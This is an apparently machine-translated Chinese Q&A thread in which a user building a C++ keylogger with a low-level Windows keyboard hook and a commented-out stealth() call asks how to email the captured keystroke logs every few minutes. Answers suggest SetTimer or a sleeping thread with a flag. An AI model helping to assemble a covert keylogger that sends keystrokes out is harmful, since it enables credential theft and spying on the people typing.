2013-05-10 50 views
2

我正在做一個鍵盤記錄鍵盤記錄(duh ..)的鍵盤記錄。現在,當我用C++實現基本的鍵盤記錄程序時,我想爲應用程序添加一項新功能:我希望它將日誌郵寄到我的電子郵件中。到目前爲止,我發現這款開源的電子郵件客戶端非常適合我的需求。我遇到的唯一問題是使應用程序每隔x分鐘發送一次日誌。win32主循環間隔問題C++

int main(int argc, char *argv[]) 
{ 
    //stealth(); 
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0); 
    if(hHook == NULL) 
    { 
     cout << "Hook failed" << endl; 
    } 

    MSG message; 
    while(GetMessage(&message, NULL, 0, 0)) 
    { 
     TranslateMessage(&message); 
     DispatchMessage(&message); 
    } 

    return 0; 
} 

不知怎的,我需要實現櫃檯somekind的,這將在某一時刻使用功能的send();。 任何人都知道如何修改MSG循環來執行funktion send();每5分鐘一次?

+0

你需要一個協同程序,計時器和緩衝 – lucasg 2013-05-10 11:13:29

回答

2

看看SetTimer函數,我認爲它正是你所需要的。

在事件循環之前,您應該以期望的時間間隔調用此函數,並且必須傳遞迴調函數。另外,您可以使用另一個函數CreateTimerQueueTimer

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) { 
} 

UINT timer = SetTimer(NULL, 0, 500, &TimerProc); 

MSG message; 
while(GetMessage(&message, NULL, 0, 0)) 
{ 
    TranslateMessage(&message); 
    DispatchMessage(&message); 
} 

KillTimer(NULL, timerId); 
+0

好主意,它就像一個魅力。非常感謝您的快速幫助! – user2369726 2013-05-10 11:23:26

1

創建一個新的線程睡眠X milis,然後在一段時間(!中斷)循環發送。 如您所知,訪問相同的數據以同時讀取和寫入2個獨立的線程將導致錯誤。 http://msdn.microsoft.com/en-us/library/kdzttdcb(v=vs.80).aspx

要避免這種情況,你可以使用臨界區

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908(v=vs.85).aspx

或者只是讓你的線程睡眠,把一個布爾值真諦「是的,我們等了」,你的主要功能總是發送當布爾值爲true時的數據,然後將其設置爲false。

編輯: 我相信這是simplier方式archieve這個

while(!interrupted) { // Your thread will do this. 
    sleep(60000); 
    maysend = true; 
} 
[...] 
if(maysend) { // Your main function will contain this 
    send(); 
    maysend = false; 
}